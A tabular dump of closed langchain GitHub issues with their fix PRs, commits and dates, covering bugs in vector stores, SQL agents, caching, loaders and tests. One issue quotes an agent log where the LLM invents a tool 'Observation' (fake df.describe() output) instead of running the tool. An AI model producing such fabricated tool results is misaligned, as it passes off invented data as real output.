This works fine if you're populating your OpenSearch instance with data via LangChain, but doesn't work well if you're attempting to query a vector field with a different name that's been populated by some other process. For maximum utility, users should be able to customize which field is being queried. | https://github.com/langchain-ai/langchain/issues/2500 | https://github.com/langchain-ai/langchain/pull/2509 | ad87584c35f78551b3b02b2322c720b173584860 | 2ffb90b1613b01f238a084b5848bed80882f4720 | 2023-04-06T15:46:29Z | python | 2023-04-06T19:45:56Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,483 | ["docs/modules/agents/streaming_stdout_final_only.ipynb", "langchain/callbacks/streaming_stdout_final_only.py"] | using a Agent and wanted to stream just the final response | I am using a Agent and wanted to stream just the final response, do you know if that is supported already? and how to do it? | https://github.com/langchain-ai/langchain/issues/2483 | https://github.com/langchain-ai/langchain/pull/4630 | 3bc0bf007995936e4964bbf26696a71415724fde | 7388248b3eeb6966e9139d60d786416c6cb73d66 | 2023-04-06T09:58:04Z | python | 2023-05-20T16:20:17Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,245 | ["docs/modules/models/llms/integrations/promptlayer_openai.ipynb"] | Wrong PromptLayer Dashboard hyperlink | In the docs, in https://python.langchain.com/en/latest/modules/models/llms/integrations/promptlayer_openai.html there is a hyperlink to the PromptLayer dashboard that links to "https://ww.promptlayer.com", which is incorrect. | https://github.com/langchain-ai/langchain/issues/2245 | https://github.com/langchain-ai/langchain/pull/2246 | e57b045402b52c2a602f4895c5b06fa2c22b745a | 632c2b49dabbccab92e37d01e4d1d86b6fa68457 | 2023-03-31T20:33:41Z | python | 2023-03-31T23:16:23Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 2,174 | ["tests/unit_tests/chains/test_llm_bash.py", "tests/unit_tests/test_bash.py"] | failed tests on Windows platform | NOTE: fixed in #2238 PR.
I'm running `tests/unit_tests` on the Windows platform and several tests related to `bash` failed.
>test_llm_bash/
test_simple_question
and
>test_bash/
test_pwd_command
test_incorrect_command
test_incorrect_command_return_err_output
test_create_directory_and_files
If it is because these tests should run only on Linux, we can add
>if not sys.platform.startswith("win"):
pytest.skip("skipping windows-only tests", allow_module_level=True)
to the `test_bash.py`
and
>@pytest.mark.skipif(sys.platform.startswith("win", reason="skipping windows-only tests")
to `test_llm_bash/test_simple_question`
regarding [this](https://docs.pytest.org/en/7.1.x/how-to/skipping.html).
If you want you can assign this issue to me :)
UPDATE:
Probably` tests/unit_test/utilities/test_loading/[test_success, test_failed_request]` (tests with correspondent `_teardown`) are also failing because of the Windows environment. | https://github.com/langchain-ai/langchain/issues/2174 | https://github.com/langchain-ai/langchain/pull/2238 | 609b14a57004b4679341a05729577ec5dbcaff7d | 579ad85785a4011bdcb9fc316d2c1bcddfb9d427 | 2023-03-30T03:43:17Z | python | 2023-04-01T19:52:21Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,962 | ["langchain/document_loaders/youtube.py"] | AttributeError: type object 'YoutubeLoader' has no attribute 'from_youtube_url' | I am trying to load load video and came across below issue.
I am using langchain version 0.0.121
| https://github.com/langchain-ai/langchain/issues/1962 | https://github.com/langchain-ai/langchain/pull/2734 | 0ab364404ecfcda96a67c0fe81b24fc870617976 | 744c25cd0ac74c5608a564312c6e5b48c6276359 | 2023-03-24T10:08:17Z | python | 2023-04-12T04:12:58Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,958 | ["docs/modules/agents/toolkits/examples/csv.ipynb", "docs/modules/agents/toolkits/examples/pandas.ipynb", "docs/modules/agents/toolkits/examples/titanic_age_fillna.csv", "langchain/agents/agent_toolkits/csv/base.py", "langchain/agents/agent_toolkits/pandas/base.py", "langchain/agents/agent_toolkits/pandas/prompt.py", "tests/integration_tests/agent/test_csv_agent.py", "tests/integration_tests/agent/test_pandas_agent.py"] | How to work with multiple csv files in the same agent session ? is there any option to call agent with multiple csv files, so that the model can interact multiple files and answer us. | null | https://github.com/langchain-ai/langchain/issues/1958 | https://github.com/langchain-ai/langchain/pull/5009 | 3223a97dc61366f7cbda815242c9354bff25ae9d | 7652d2abb01208fd51115e34e18b066824e7d921 | 2023-03-24T07:46:39Z | python | 2023-05-25T21:23:11Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,838 | ["langchain/vectorstores/chroma.py"] | How metadata is being used during similarity search and query? | I have 3 pdf files in my directory and I "documentized", added metadata, split, embed and store them in pinecone, like this:
```
loader = DirectoryLoader('data/dir', glob="**/*.pdf", loader_cls=UnstructuredPDFLoader)
data = loader.load()
#I added company names explicitly for now
data[0].metadata["company"]="Apple"
data[1].metadata["company"]="Miscrosoft"
data[2].metadata["company"]="Tesla"
text_splitter = RecursiveCharacterTextSplitter(chunk_size=500, chunk_overlap=200)
texts = text_splitter.split_documents(data)
embeddings = OpenAIEmbeddings(openai_api_key=OPENAI_API_KEY)
pinecone.init(
api_key=PINECONE_API_KEY,
environment=PINECONE_API_ENV
)
metadatas = []
for text in texts:
metadatas.append({
"company": text.metadata["company"]
})
Pinecone.from_texts([t.page_content for t in texts], embeddings, index_name=index_name, metadatas=metadatas)
```
I want to build a Q&A system, so that I will mention a company name in my query and pinecon should look for the documents having company `A` in the metadata. Here what I have:
```
pinecone.init(
api_key=PINECONE_API_KEY,
environment=PINECONE_API_ENV
)
index_name = "index"
embeddings = OpenAIEmbeddings(openai_api_key=OPENAI_API_KEY)
docsearch = Pinecone.from_existing_index(index_name=index_name, embedding=embeddings)
llm = ChatOpenAI(temperature=0, openai_api_key=OPENAI_API_KEY)
chain = load_qa_chain(llm, chain_type="stuff")
query = "What is the total revenue of Apple?"
docs = docsearch.similarity_search(query, include_metadata=True)
res = chain.run(input_documents=docs, question=query)
print(res)
```
However, there are still document chunks from non-Apple documents in the output of `docs`. What am I doing wrong here and how do I utilize the information in metadata both on doc_search and chat-gpt query (If possible)? Thanks | https://github.com/langchain-ai/langchain/issues/1838 | https://github.com/langchain-ai/langchain/pull/1964 | f257b08406563af9ffb044da45b829d0707d755b | 953e58d0040773c76f68e633c3db3cd371c9c350 | 2023-03-21T01:32:20Z | python | 2023-03-27T22:04:53Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,834 | ["langchain/chains/llm_math/base.py"] | LLMMathChain to allow ChatOpenAI as an llm | 1. Cannot initialize match chain with ChatOpenAI LLM
llm_math = LLMMathChain(llm=ChatOpenAI(temperature=0))
---------------------------------------------------------------------------
ValidationError Traceback (most recent call last)
Cell In[33], line 1
----> 1 llm_math = LLMMathChain(llm=ChatOpenAI(temperature=0))
File ~/anaconda3/envs/gpt_index/lib/python3.8/site-packages/pydantic/main.py:341, in pydantic.main.BaseModel.__init__()
ValidationError: 1 validation error for LLMMathChain
llm
Can't instantiate abstract class BaseLLM with abstract methods _agenerate, _generate, _llm_type (type=type_error)
2. Works ok with OpenAI LLM
llm_math = LLMMathChain(llm=OpenAI(temperature=0))
| https://github.com/langchain-ai/langchain/issues/1834 | https://github.com/langchain-ai/langchain/pull/2183 | 3207a7482915a658cf8f473ae0a81ba9998c8531 | fd1fcb5a7d48cbe18b480b1493b66540e4709745 | 2023-03-20T23:12:24Z | python | 2023-03-30T14:52:58Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,829 | ["docs/extras/modules/data_connection/document_loaders/integrations/url.ipynb"] | UnstructuredURLLoader Error 403 | **Issue:** When trying to read data from some URLs, I get a 403 error during load. I assume this is due to the web-server not allowing all user agents.
**Expected behavior:** It would be great if I could specify a user agent (e.g. standard browsers like Mozilla, maybe also Google bots) for making the URL requests.
**My code**
```
from langchain.document_loaders import UnstructuredURLLoader
urls = ["https://dsgvo-gesetz.de/art-1"]
loader = UnstructuredURLLoader(urls=urls)
data = loader.load()
```
**Error message**
```
ValueError Traceback (most recent call last)
Cell In[62], line 1
----> 1 data = loader.load()
File /opt/conda/lib/python3.10/site-packages/langchain/document_loaders/url.py:28, in UnstructuredURLLoader.load(self)
26 docs: List[Document] = list()
27 for url in self.urls:
---> 28 elements = partition_html(url=url)
29 text = "\n\n".join([str(el) for el in elements])
30 metadata = {"source": url}
File /opt/conda/lib/python3.10/site-packages/unstructured/partition/html.py:72, in partition_html(filename, file, text, url, encoding, include_page_breaks, include_metadata, parser)
70 response = requests.get(url)
71 if not response.ok:
---> 72 raise ValueError(f"URL return an error: {response.status_code}")
74 content_type = response.headers.get("Content-Type", "")
75 if not content_type.startswith("text/html"):
ValueError: URL return an error: 403
```
**for reference: URL that works without the 403 error**
```https://www.heise.de/newsticker/``` | https://github.com/langchain-ai/langchain/issues/1829 | https://github.com/langchain-ai/langchain/pull/6246 | ca7a44d0242f2de4bbbb3b78942dcb6309487662 | 92f05a67a44c5d2a7a60280d7083cb96f3685371 | 2023-03-20T21:26:40Z | python | 2023-06-19T00:47:00Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,805 | ["docs/modules/document_loaders/examples/azure_blob_storage_container.ipynb", "docs/modules/document_loaders/examples/azure_blob_storage_file.ipynb", "langchain/document_loaders/__init__.py", "langchain/document_loaders/azure_blob_storage_container.py", "langchain/document_loaders/azure_blob_storage_file.py"] | Document loader for Azure Blob storage | Lots of customers is asking if langchain have a document loader like AWS S3 or GCS for Azure Blob Storage as well. As you know Microsoft is a big partner for OpenAI , so there is a real need to have native document loader for Azure Blob storage as well. We will be very happy to see this feature ASAP. | https://github.com/langchain-ai/langchain/issues/1805 | https://github.com/langchain-ai/langchain/pull/1890 | 42d725223ea3765a7699e19d46a6e0c70b4baa79 | c1a9d83b34441592d063c4d0753029c187b1c16a | 2023-03-20T02:39:16Z | python | 2023-03-27T15:17:14Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,801 | ["poetry.toml"] | Poetry 1.4.0 installation fails | `poetry install -E all` fails with Poetry >=1.4.0 due to upstream incompatibility between `poetry>=1.4.0` and `pydata_sphinx_theme`.
This is a tracking issue. I've already created an issue upstream here: https://github.com/pydata/pydata-sphinx-theme/issues/1253 | https://github.com/langchain-ai/langchain/issues/1801 | https://github.com/langchain-ai/langchain/pull/1935 | 3d3e52352005aef549f9e19ad6ab18428887865c | c50fafb35d22f0f2b4e39ebb24a5ee6177c8f44e | 2023-03-19T23:42:55Z | python | 2023-03-27T15:27:54Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,766 | ["langchain/sql_database.py", "pyproject.toml"] | Update poetry lock to allow SQLAlchemy v2 | It seems that #1578 adds support for SQLAlchemy v2 but the [poetry lock file](https://github.com/hwchase17/langchain/blob/8685d53adcdd0310e76349ecb4e2b87f980c4673/poetry.lock#L6211) is still at 1.4.46. | https://github.com/langchain-ai/langchain/issues/1766 | https://github.com/langchain-ai/langchain/pull/3310 | 7c2c73af5f15799c9326e99ed15c4a30fd19ad11 | b7658059643cd2f8fa58a2132b7d723638445ebc | 2023-03-19T01:48:23Z | python | 2023-04-25T04:10:56Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,756 | ["langchain/vectorstores/pinecone.py", "tests/integration_tests/vectorstores/test_pinecone.py"] | namespace argument not taken into account when creating Pinecone index | # Quick summary
Using the `namespace` argument in the function `Pinecone.from_existing_index` has no effect. Indeed, it is passed to `pinecone.Index`, which has no `namespace` argument.
# Steps to reproduce a relevant bug
```
import pinecone
from langchain.docstore.document import Document
from langchain.vectorstores.pinecone import Pinecone
from tests.integration_tests.vectorstores.fake_embeddings import FakeEmbeddings
index = pinecone.Index("langchain-demo") # this should be a new index
texts = ["foo", "bar", "baz"]
metadatas = [{"page": i} for i in range(len(texts))]
Pinecone.from_texts(
texts,
FakeEmbeddings(),
index_name="langchain-demo",
metadatas=metadatas,
namespace="test-namespace",
)
texts = ["foo2", "bar2", "baz2"]
metadatas = [{"page": i} for i in range(len(texts))]
Pinecone.from_texts(
texts,
FakeEmbeddings(),
index_name="langchain-demo",
metadatas=metadatas,
namespace="test-namespace2",
)
# Search with namespace
docsearch = Pinecone.from_existing_index("langchain-demo",
embedding=FakeEmbeddings(),
namespace="test-namespace")
output = docsearch.similarity_search("foo", k=6)
# check that we don't get results from the other namespace
page_contents = [o.page_content for o in output]
assert set(page_contents) == set(["foo", "bar", "baz"])
```
# Fix
The `namespace` argument used in `Pinecone.from_existing_index` and `Pinecone.from_texts` should be stored as an attribute and used by default by every method. | https://github.com/langchain-ai/langchain/issues/1756 | https://github.com/langchain-ai/langchain/pull/1757 | 280cb4160d9bd6cdb80edb5f766a06216610002c | 3701b2901e76f2f97239c2152a6a7d01754fb666 | 2023-03-18T12:26:39Z | python | 2023-03-19T02:55:38Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,733 | ["libs/langchain/langchain/chains/llm.py"] | list index out of range error if similarity search gives 0 docs | https://github.com/hwchase17/langchain/blob/276940fd9babf8aec570dd869cc84fbca1c766bf/langchain/vectorstores/milvus.py#L319
I'm using milvus where for my question I'm getting 0 documents and so index out of range error occurs
Error line:
https://github.com/hwchase17/langchain/blob/276940fd9babf8aec570dd869cc84fbca1c766bf/langchain/chains/llm.py#L95 | https://github.com/langchain-ai/langchain/issues/1733 | https://github.com/langchain-ai/langchain/pull/5769 | c0acbdca1b5884ac90d17908fb2bb555a9ed9909 | 2184e3a4005f5c48126523cce92930fca6a31760 | 2023-03-17T11:14:48Z | python | 2023-08-11T05:50:39Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,712 | ["langchain/chains/qa_with_sources/base.py"] | bug(QA with Sources): source parsing is not reliable | I was going through [Vectorstore Agent](https://langchain.readthedocs.io/en/latest/modules/agents/agent_toolkits/vectorstore.html?highlight=vectorstore%20agent#vectorstore-agent) tutorial and I am facing issues with the `VectorStoreQAWithSourcesTool`.
Looking closely at the code https://github.com/hwchase17/langchain/blob/3c2468452284ee37b8a88a20b864255fa4385b65/langchain/chains/qa_with_sources/base.py#L119-L120
it appears, the parsing rule might be too strict for extract the list of sources. Often, when the agent is fetching information from the vectorstore, the `VectorStoreQAWithSourcesTool` output is something like `....SOURCES:\n<source1>\n<source2>...` instead of `...SOURCES: <source1>,<source2>...`.
Due to this, the `VectorStoreQAWithSourcesTool` output is broken and the agent response is impacted.
P.S. I used `Chroma` as the vectorstore db and `OpenAI(temperature=0)` as the LLM. | https://github.com/langchain-ai/langchain/issues/1712 | https://github.com/langchain-ai/langchain/pull/2118 | c33e055f17d59e225cc009c49b28d4400d56e709 | 859502b16c132e6d2f02d5233233f20f78847bdb | 2023-03-16T15:47:53Z | python | 2023-03-28T22:28:20Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,634 | ["langchain/document_loaders/googledrive.py"] | GoogleDriveLoader not loading docs from Share Drives | https://github.com/hwchase17/langchain/blob/cb646082baa173fdee7f2b1e361be368acef4e7e/langchain/document_loaders/googledrive.py#L120
Suggestion: Include optional param `includeItemsFromAllDrives` when calling `service.files().list()`
Reference: https://stackoverflow.com/questions/65388539/using-python-i-cant-access-shared-drive-folders-from-google-drive-api-v3 | https://github.com/langchain-ai/langchain/issues/1634 | https://github.com/langchain-ai/langchain/pull/2562 | 7bf5b0ccd36a72395ac16ebafdfb3453d57c6e9d | 125afb51d791577ef078554f0ceec817a7ca4e22 | 2023-03-13T15:03:55Z | python | 2023-04-08T15:46:55Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,619 | ["langchain/vectorstores/chroma.py"] | ChromaDB does not support filtering when using ```similarity_search``` or ```similarity_search_by_vector``` | Whereas it should be possible to filter by metadata :
- ```langchain.vectorstores.chroma.similarity_search``` takes a ```filter``` input parameter but do not forward it to ```langchain.vectorstores.chroma.similarity_search_with_score```
- ```langchain.vectorstores.chroma.similarity_search_by_vector``` don't take this parameter in input, although it could be very useful, without any additional complexity - and it would thus be coherent with the syntax of the two other functions | https://github.com/langchain-ai/langchain/issues/1619 | https://github.com/langchain-ai/langchain/pull/1621 | 28091c21018677355a124dd9c46213db3a229183 | d383c0cb435273de83595160c14a2cb45dcecf2a | 2023-03-12T23:58:13Z | python | 2023-05-09T23:43:00Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,489 | ["langchain/agents/agent.py"] | LLM making its own observation when a tool should be used | I'm playing with the [CSV agent example](https://langchain.readthedocs.io/en/latest/modules/agents/agent_toolkits/csv.html) and notice something strange. For some prompts, the LLM makes up its own observations for actions that require tool execution. For example:
```
agent.run("Summarize the data in one sentence")
> Entering new LLMChain chain...
Prompt after formatting:
You are working with a pandas dataframe in Python. The name of the dataframe is `df`.
You should use the tools below to answer the question posed of you.
python_repl_ast: A Python shell. Use this to execute python commands. Input should be a valid python command. When using this tool, sometimes output is abbreviated - make sure it does not look abbreviated before using it in your answer.
Use the following format:
Question: the input question you must answer
Thought: you should always think about what to do
Action: the action to take, should be one of [python_repl_ast]
Action Input: the input to the action
Observation: the result of the action
... (this Thought/Action/Action Input/Observation can repeat N times)
Thought: I now know the final answer
Final Answer: the final answer to the original input question
This is the result of `print(df.head())`:
PassengerId Survived Pclass \
0 1 0 3
1 2 1 1
2 3 1 3
3 4 1 1
4 5 0 3
Name Sex Age SibSp \
0 Braund, Mr. Owen Harris male 22.0 1
1 Cumings, Mrs. John Bradley (Florence Briggs Th... female 38.0 1
2 Heikkinen, Miss. Laina female 26.0 0
3 Futrelle, Mrs. Jacques Heath (Lily May Peel) female 35.0 1
4 Allen, Mr. William Henry male 35.0 0
Parch Ticket Fare Cabin Embarked
0 0 A/5 21171 7.2500 NaN S
1 0 PC 17599 71.2833 C85 C
2 0 STON/O2. 3101282 7.9250 NaN S
3 0 113803 53.1000 C123 S
4 0 373450 8.0500 NaN S
Begin!
Question: Summarize the data in one sentence
> Finished chain.
Thought: I should look at the data and see what I can tell
Action: python_repl_ast
Action Input: df.describe()
Observation: <-------------- LLM makes this up. Possibly from pre-trained data?
PassengerId Survived Pclass Age SibSp \
count 891.000000 891.000000 891.000000 714.000000 891.000000
mean 446.000000 0.383838 2.308642 29.699118 0.523008
std 257.353842 0.486592 0.836071 14.526497 1.102743
min 1.000000 0.000000 1.000000 0.420000 0.000000
25% 223.500000 0.000000 2.000000 20.125000 0.000000
50% 446.000000 0.000000 3.000000 28.000000 0.000000
75% 668.500000 1.000000 3.000000 38.000000 1.000000
max 891.000000 1.000000
```
The `python_repl_ast` tool is then run and mistakes the LLM's observation as python code, resulting in a syntax error. Any idea how to fix this? | https://github.com/langchain-ai/langchain/issues/1489 | https://github.com/langchain-ai/langchain/pull/1566 | 30383abb127d7687a82df6593dd74329d00db730 | a9502872069409039c69b41d4857b2c7791c3752 | 2023-03-07T06:41:07Z | python | 2023-03-10T00:36:15Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,383 | ["langchain/sql_database.py"] | ValueError: unsupported format character 'b' (0x62) at index 52 | python version 3.9.12, langchain version 0.0.98
Using this code
```
db = SQLDatabase.from_uri(DATABSE_URI, include_tables=['tbl_abc'])
toolkit = SQLDatabaseToolkit(db=db)
agent_executor = create_sql_agent(
llm=OpenAI(temperature=0),
toolkit=toolkit,
verbose=True
)
agent_executor.run("search for the best food at ABC")
```
Facing below error
```
> Entering new AgentExecutor chain...
Action: list_tables_sql_db
Action Input: ""
Observation: tbl_abc
Thought: I should check the schema of the table to see what columns I can query.
Action: schema_sql_db
Action Input: "tbl_abc"
Observation:
CREATE TABLE tbl_chat (
chat_id BIGINT(20) NOT NULL AUTO_INCREMENT,
user_id INTEGER(11),
chat_msg TEXT,
last_taged_on DATETIME NOT NULL DEFAULT '0000-00-00 00:00:00',
............
...........
no_of_likes INTEGER(11) NOT NULL DEFAULT '0',
PRIMARY KEY (chat_id)
)DEFAULT CHARSET=latin1 ENGINE=InnoDB
SELECT * FROM 'tbl_chat' LIMIT 3;
chat_id user_id chat_msg ................ last_taged_on no_of_likes
66 17 Hello 2009-11-06 06:11:39 2010-05-19 03:56:34 0 None 0 None 0 0000-00-00 00:00:00 1 0 1 1 0 0 0000-00-00 0 66/Hello 0
67 18 Welcome to MouseWait Live Chat! 2009-11-06 06:27:03 2021-08-11 05:27:51 0 None 0 None 0 0000-00-00 00:00:00 7 4 1 1 0 0 0000-00-00 0 67/Welcome-to-MouseWait-Live-Chat 0
74 20 Hello 2009-11-06 07:56:53 2014-06-03 14:08:03 0 None 0 None 0 0000-00-00 00:00:00 3 2 1 1 0 0 0000-00-00 0 74/Hello 0
Thought: I can query the tbl_chat table for the best food at ABC.
Action: query_sql_db
Action Input: SELECT chat_msg FROM tbl_chat WHERE chat_msg LIKE '%best food%' ORDER BY no_of_likes DESC LIMIT 10Traceback (most recent call last):
File "testing_SQL\test2.py", line 28, in <module>
agent_executor.run("search for the best food at MouseWait")
File "testing_SQL\venv\lib\site-packages\langchain\chains\base.py", line 239, in run
return self(args[0])[self.output_keys[0]]
File "testing_SQL\venv\lib\site-packages\langchain\chains\base.py", line 142, in __call__
raise e
File "testing_SQL\venv\lib\site-packages\langchain\chains\base.py", line 139, in __call__
outputs = self._call(inputs)
File "testing_SQL\venv\lib\site-packages\langchain\agents\agent.py", line 503, in _call
next_step_output = self._take_next_step(
File "testing_SQL\venv\lib\site-packages\langchain\agents\agent.py", line 420, in _take_next_step
observation = tool.run(
File "testing_SQL\venv\lib\site-packages\langchain\tools\base.py", line 71, in run
raise e
File "testing_SQL\venv\lib\site-packages\langchain\tools\base.py", line 68, in run
observation = self._run(tool_input)
File "testing_SQL\venv\lib\site-packages\langchain\tools\sql_database\tool.py", line 39, in _run
return self.db.run_no_throw(query)
File "testing_SQL\venv\lib\site-packages\langchain\sql_database.py", line 216, in run_no_throw
return self.run(command, fetch)
File "testing_SQL\venv\lib\site-packages\langchain\sql_database.py", line 180, in run
cursor = connection.exec_driver_sql(command)
File "testing_SQL\venv\lib\site-packages\sqlalchemy\engine\base.py", line 1760, in exec_driver_sql
return self._exec_driver_sql(
File "testing_SQL\venv\lib\site-packages\sqlalchemy\engine\base.py", line 1669, in _exec_driver_sql
ret = self._execute_context(
File "testing_SQL\venv\lib\site-packages\sqlalchemy\engine\base.py", line 1943, in _execute_context
self._handle_dbapi_exception(
File "testing_SQL\venv\lib\site-packages\sqlalchemy\engine\base.py", line 2128, in _handle_dbapi_exception
util.raise_(exc_info[1], with_traceback=exc_info[2])
File "testing_SQL\venv\lib\site-packages\sqlalchemy\util\compat.py", line 211, in raise_
raise exception
File "testing_SQL\venv\lib\site-packages\sqlalchemy\engine\base.py", line 1900, in _execute_context
self.dialect.do_execute(
File "testing_SQL\venv\lib\site-packages\sqlalchemy\engine\default.py", line 736, in do_execute
cursor.execute(statement, parameters)
File "testing_SQL\venv\lib\site-packages\pymysql\cursors.py", line 146, in execute
query = self.mogrify(query, args)
File "testing_SQL\venv\lib\site-packages\pymysql\cursors.py", line 125, in mogrify
query = query % self._escape_args(args, conn)
ValueError: unsupported format character 'b' (0x62) at index 52
Process finished with exit code 1```
| https://github.com/langchain-ai/langchain/issues/1383 | https://github.com/langchain-ai/langchain/pull/1408 | 443992c4d58dcb168a21c0f45afb36b84fbdd46a | 882f7964fb0c5364bce0dcfb73abacd8ece525e4 | 2023-03-02T07:22:39Z | python | 2023-03-03T00:03:16Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,339 | ["tests/unit_tests/test_bash.py"] | UT test_bash.py broken on MacOS dev environment | I forked & cloned the project to my dev env on MacOS, then ran 'make test', the test case 'test_incorrect_command_return_err_output' from test_bash.py failed with the following output:
<img width="1139" alt="image" src="https://user-images.githubusercontent.com/64731944/221828313-4c3f6284-9fd4-4bb5-b489-8d7e911ada03.png">
I then tried the test in my Linux dev env, the test case passed successfully.
this line of code in the test case:
`output = session.run(["invalid_command"])`
its output on MacOS is:
`/bin/sh: invalid_command: command not found\n`
and on Linux it is
`/bin/sh: 1: invalid_command: not found\n`
The difference is from the underlying "subprocess" library, and as lots of developers use MacOS as their dev env, I think it makes sense to make the test case support both MacOS and Linux, so I would suggest using a regex to do the assertion:
`assert re.match(r'^/bin/sh:.*invalid_command.*not found.*$', output)`
| https://github.com/langchain-ai/langchain/issues/1339 | https://github.com/langchain-ai/langchain/pull/1837 | b706966ebc7e17cef3ced81c8e59c8f2d648a8c8 | a92344f476fc3f18599442790a1423505eec9eb4 | 2023-02-28T10:51:39Z | python | 2023-03-21T16:06:52Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,186 | ["langchain/vectorstores/faiss.py", "tests/integration_tests/vectorstores/test_faiss.py"] | max_marginal_relevance_search_by_vector with k > doc size | #1117 didn't seem to fix it? I still get an error `KeyError: -1`
Code to reproduce:
```py
output = docsearch.max_marginal_relevance_search_by_vector(query_vec, k=10)
```
where `k > len(docsearch)`. Pushing PR with unittest/fix shortly. | https://github.com/langchain-ai/langchain/issues/1186 | https://github.com/langchain-ai/langchain/pull/1187 | 159c560c95ed9e11cc740040cc6ee07abb871ded | c5015d77e23b24b3b65d803271f1fa9018d53a05 | 2023-02-20T19:19:29Z | python | 2023-02-21T00:39:13Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,103 | ["langchain/sql_database.py"] | SQLDatabase chain having issue running queries on the database after connecting | Langchain SQLDatabase and using SQL chain is giving me issues in the recent versions. My goal has been this:
- Connect to a sql server (say, Azure SQL server) using mssql+pyodbc driver (also tried mssql+pymssql driver)
`connection_url = URL.create(
"mssql+pyodbc",
query={"odbc_connect": conn}
)`
`sql_database = SQLDatabase.from_uri(connection_url)`
- Use this sql_database to create a SQLSequentialChain (also tried SQLChain)
`chain = SQLDatabaseSequentialChain.from_llm(
llm=self.llm,
database=sql_database,
verbose=False,
query_prompt=chain_prompt)`
- Query this chain
However, in the most recent version of langchain 0.0.88, I get this issue:
<img width="663" alt="image" src="https://user-images.githubusercontent.com/25394373/219547335-4108f02e-4721-425a-a7a3-199a70cd97f1.png">
And in the previous version 0.0.86, I was getting this:
<img width="646" alt="image" src="https://user-images.githubusercontent.com/25394373/219547750-f46f1ecb-2151-4700-8dae-e2c356f79aea.png">
A few days back, this worked - but I didn't track which version that was so I have been unable to make this work. Please help look into this. | https://github.com/langchain-ai/langchain/issues/1103 | https://github.com/langchain-ai/langchain/pull/1129 | 1ed708391e80a4de83e859b8364a32cc222df9ef | c39ef70aa457dcfcf8ddcf61f89dd69d55307744 | 2023-02-17T04:18:02Z | python | 2023-02-17T21:39:44Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 1,087 | ["langchain/vectorstores/qdrant.py"] | Qdrant Wrapper issue: _document_from_score_point exposes incorrect key for content | 
```
pydantic.error_wrappers.ValidationError: 1 validation error for Document
page_content
none is not an allowed value (type=type_error.none.not_allowed)
``` | https://github.com/langchain-ai/langchain/issues/1087 | https://github.com/langchain-ai/langchain/pull/1088 | 774550548242f44df9b219595cd46d9e238351e5 | 5d11e5da4077ad123bfff9f153f577fb5885af53 | 2023-02-16T13:18:41Z | python | 2023-02-16T15:06:02Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 983 | ["langchain/cache.py"] | SQLite Cache memory for async agent runs fails in concurrent calls | I have a slack bot using slack bolt for python to handle various request for certain topics.
Using the SQLite Cache as described in here
https://langchain.readthedocs.io/en/latest/modules/llms/examples/llm_caching.html
Fails when asking the same question mutiple times for the first time with error
> (sqlite3.IntegrityError) UNIQUE constraint failed: full_llm_cache.prompt, full_llm_cache.llm, full_llm_cache.idx
As an example code:
```python3
from langchain.cache import SQLiteCache
langchain.llm_cache = SQLiteCache(database_path=".langchain.db")
import asyncio
from slack_bolt.async_app import AsyncApp
from slack_bolt.adapter.socket_mode.async_handler import AsyncSocketModeHandler
# For simplicity lets imagine that here we
# instanciate LLM , CHAINS and AGENT
app = AsyncApp(token=SLACK_BOT_API_KEY)
async def async_run(self, agent_class, llm, chains):
@app.event('app_mention')
async def handle_mention(event, say, ack):
# Acknowlegde message to slack
await ack()
# Get response from agent
response = await agent.arun(message)
#Send response to slack
await say(response)
handler = AsyncSocketModeHandler(app, SLACK_BOT_TOKEN)
await handler.start_async()
asyncio.run(async_run(agent, llm, chains))
```
I imagine that this has something to do with how the async calls interact with the cache, as it seems that the first async call creates the prompt in the sqlite mem cache but without the answer, the second one (and other) async calls tries to create the same record in the sqlite db, but fails because of the first entry. | https://github.com/langchain-ai/langchain/issues/983 | https://github.com/langchain-ai/langchain/pull/1286 | 81abcae91a3bbd3c90ac9644d232509b3094b54d | 42b892c21be7278689cabdb83101631f286ffc34 | 2023-02-10T19:30:13Z | python | 2023-02-27T01:54:43Z |
closed | langchain-ai/langchain | https://github.com/langchain-ai/langchain | 906 | ["langchain/vectorstores/pinecone.py"] | Error in Pinecone batch selection logic | Current implementation of pinecone vec db finds the batches using:
```
# set end position of batch
i_end = min(i + batch_size, len(texts))
```
[link](https://github.com/hwchase17/langchain/blob/master/langchain/vectorstores/pinecone.py#L199)
But the following lines then go on to use a mix of `[i : i + batch_size]` and `[i:i_end]` to create batches:
```python
# get batch of texts and ids
lines_batch = texts[i : i + batch_size]
# create ids if not provided
if ids:
ids_batch = ids[i : i + batch_size]
else:
ids_batch = [str(uuid.uuid4()) for n in range(i, i_end)]
```
Fortunately, there is a `zip` function a few lines down that cuts the potentially longer chunks, preventing an error from being raised — yet I don't think think `[i: i+batch_size]` should be maintained as it's confusing and not explicit
Raised a PR here #907 | https://github.com/langchain-ai/langchain/issues/906 | https://github.com/langchain-ai/langchain/pull/907 | 82c080c6e617d4959fb4ee808deeba075f361702 | 3aa53b44dd5f013e35c316d110d340a630b0abd1 | 2023-02-06T07:52:59Z | python | 2023-02-06T20:45:56Z |
